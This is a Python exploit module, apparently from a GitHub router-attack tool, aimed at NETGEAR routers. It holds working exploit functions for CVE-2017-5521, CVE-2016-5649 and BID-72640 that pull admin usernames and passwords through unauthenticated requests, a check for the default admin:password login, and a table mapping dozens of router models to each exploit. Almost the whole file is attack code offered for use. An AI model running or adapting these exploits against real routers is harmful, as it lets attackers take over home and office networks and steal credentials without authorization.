-
Notifications
You must be signed in to change notification settings - Fork 10
/
exploit.py
236 lines (213 loc) · 7.93 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
"""Exploit module"""
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from bs4 import BeautifulSoup
import aux
import re
exploits = {}
login = {}
# NetGear AC1450, D6400, DC112A, DGN2200v4, JNDR3000, R6200, R6250, R6300V1, R6300V2, R6700, R6900
# R7000, R8300, R8500, VEGN2610, WNDR3400, WNDR4000, WNDR4500, WGR614v10, WN3100RP (CVE-2017-5521)
# Credits to Simon Kenin of Trustwave SpiderLabs for a part of the code
def scrape (text, start_trig, end_trig):
if text.find(start_trig) != -1:
return text.split(start_trig, 1)[-1].split(end_trig, 1)[0]
else:
return "i_dont_speak_english"
def cve_2017_5521 (router):
token = ''
exploit = 'CVE-2017-5521'
aux.ex_print('action', '[*] Test for vulnerability ' + exploit + ' --> ', 0)
token = re.search('id=(.+?)"', str(router.body)).group(1)
if token != '':
r = requests.post(router.url + '/passwordrecovered.cgi?id=' + token, verify = False, timeout = 2)
if r.text.find('left\">') != -1:
username = (repr(scrape(r.text, 'Router Admin Username</td>', '</td>')))
username = scrape(username, '>', '\'')
password = (repr(scrape(r.text, 'Router Admin Password</td>', '</td>')))
password = scrape(password, '>', '\'')
if username == "i_dont_speak_english":
username = (scrape(r.text[r.text.find('left\">'):-1], 'left\">', '</td>'))
password = (scrape(r.text[r.text.rfind('left\">'):-1], 'left\">', '</td>'))
else:
aux.ex_print('error', 'NOT vulnerable', 1)
router.exploit = 'NOT VULN'
router.vulnerable = False
return 0
# html encoding pops out of nowhere, lets replace that
password = password.replace("#", "#")
password = password.replace("&", "&")
aux.ex_print('positive', ' Vulnerable! ', 1)
aux.ex_print('info', '\tCredentials found: ', 0)
aux.ex_print('positive', username + ':' + password, 1)
router.exploit = exploit
router.username = username
router.password = password
router.vulnerable = True
else:
aux.ex_print('error', 'NOT vulnerable', 1)
router.exploit = 'NOT VULN'
router.vulnerable = False
return 0
# return 1
return 1
# NetGear DGN2200, DGND3700 (CVE-2016-5649)
def cve_2016_5649 (router):
exploit = 'CVE-2016-5649'
aux.ex_print('action', '[*] Test for vulnerability ' + exploit + ' --> ', 0)
r = requests.get(router.url + '/BSW_cxttongr.htm')
soup = BeautifulSoup(r.text, 'lxml')
data = []
for table_row in soup.select("tr"):
bdata = table_row.findAll('b')
if len(bdata) > 0:
data.append(bdata)
try:
password = re.search('"(.+?)"', str(data[1])).group(1)
username = 'admin'
aux.ex_print('positive', ' Vulnerable! ', 1)
aux.ex_print('info', '\tCredentials found: ', 0)
aux.ex_print('positive', username + ':' + password, 1)
router.exploit = exploit
router.username = username
router.password = password
router.vulnerable = True
return 1
except:
aux.ex_print('error', ' NOT vulnerable', 1)
router.exploit = 'NOT VULN'
router.vulnerable = False
return 0
# NetGear WNR2500, WNR2200, WNDR3700v4, WNDR3700v4
def bid_72640 (router):
username = 'admin'
password = ""
exploit = 'BID-72640'
aux.ex_print('action', '[*] Test for vulnerability ' + exploit + ' --> ', 0)
headers = {'SOAPAction': 'urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo',
'Content-Type': 'application/x-www-form-urlencoded',
'Content - Length': '1'}
data = 'POST / HTTP/1.1'
r = requests.post(router.url + '/', headers = headers, data = data)
try:
password = re.search('<NewPassword>(.+?)</NewPassword>', str(r.content)).group(1)
except:
aux.ex_print('error', ' NOT vulnerable', 1)
return 0
else:
aux.ex_print('positive', ' Vulnerable! ', 1)
aux.ex_print('info', '\tCredentials found: ', 0)
aux.ex_print('positive', username + ':' + password, 1)
router.exploit = exploit
router.username = username
router.password = password
router.vulnerable = True
return 1
def ng_login1 (router):
# Test admin:password, passed as a base64 encoded string
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5", "Authorization": "Basic YWRtaW46cGFzc3dvcmQ=",
"DNT": "1", "Connection": "close", "Cache-Control": "max-age=0"}
if requests.get(router.url + '/', headers = headers, verify = False).status_code == requests.codes.ok:
aux.ex_print('info', '\tDefault credentials in use: ', 0)
aux.ex_print('positive', 'admin:password', 1)
router.default_login = True
router.username = 'admin'
router.password = 'password'
router.vulnerable = True
router.exploit = "Default PWD"
return 1
else:
aux.ex_print('error', '\t[-] Default credentials not in use', 1)
return 0
def test ():
print("debug")
aux.ex_print('positive', '\tExploit!!!!', 1)
return 1
# Exploit function name based on model
exploits = {
# AC Series
'NETGEAR_AC1450': cve_2017_5521,
# D
'NETGEAR_D6400': cve_2017_5521,
'NETGEAR_D1500': cve_2017_5521,
# DC Series
'NETGEAR_DC112A': cve_2017_5521,
# DGN SERIES
'NETGEAR_DGN2200V4': cve_2017_5521,
'NETGEAR_DGN2200V3': cve_2016_5649,
'NETGEAR_DGN2200M': cve_2016_5649,
'NETGEAR_DGN2200': cve_2016_5649,
# DGND
'NETGEAR_DGND3700': cve_2016_5649,
# JNDR
'NETGEAR_JNDR3000': cve_2017_5521,
# R
'NETGEAR_R8500': cve_2017_5521,
'NETGEAR_R8300': cve_2017_5521,
'NETGEAR_R7000': cve_2017_5521,
'NETGEAR_R6900': cve_2017_5521,
'NETGEAR_R6700': cve_2017_5521,
'NETGEAR_R6300': cve_2017_5521,
'NETGEAR_R6250': cve_2017_5521,
'NETGEAR_R6200': cve_2017_5521,
# WGR
'NETGEAR_WGR614v10': cve_2017_5521,
# WN
'NETGEAR_WN3100RP': cve_2017_5521,
# WNDR
'NETGEAR_WNDR4500V2': cve_2017_5521,
'NETGEAR_WNDR4500': cve_2017_5521,
'NETGEAR_WNDR4300-TN': bid_72640,
'NETGEAR_WNDR4300': bid_72640,
'NETGEAR_WNDR3800': bid_72640,
'NETGEAR_WNDR3700V4': bid_72640,
'NETGEAR_WNDR3700V2': bid_72640,
'NETGEAR_WNDR3700v1': bid_72640,
'NETGEAR_WNDR3700': bid_72640,
'NETGEAR_WNDR3400': cve_2017_5521,
'NETGEAR_WNDR3300': bid_72640, # Seems not be vulnerable?
# WNR
'NETGEAR_WNR2500': bid_72640,
'NETGEAR_WNR2200': bid_72640,
'NETGEAR_WNR2000V5': bid_72640, # I found at least 1 vulnerable
'NETGEAR_WNR2000V4': bid_72640,
'NETGEAR_WNR2000V3': bid_72640,
"NETGEAR_WNR2000V2": bid_72640,
'NETGEAR_WNR1000V4': bid_72640,
'NETGEAR_WNR1000V3': bid_72640,
'NETGEAR_WNR1000V2': bid_72640,
}
# Login funcion name based on model
login = {
'NETGEAR_D2200': ng_login1,
'NETGEAR_D6400': ng_login1,
'NETGEAR_D1500': ng_login1,
'NETGEAR_R7000': ng_login1,
'NETGEAR_DGN2200': ng_login1,
'NETGEAR_DGND3700': ng_login1,
'NETGEAR_WN3100RP': ng_login1,
}
def exploit_act (router):
model = router.model
if not model in exploits:
aux.ex_print('error', '\t[-] Exploit NOT found for this model', 1)
router.exploit = 'NO EXP'
return 0
else:
try:
a = exploits[model](router)
return a
except:
aux.ex_print('error', '\t[-] NOT vulnerable', 1)
router.exploit = 'NOT VULN'
return 0
def login_act (router):
try:
if router.netgear:
a = ng_login1(router)
return a
except:
return 0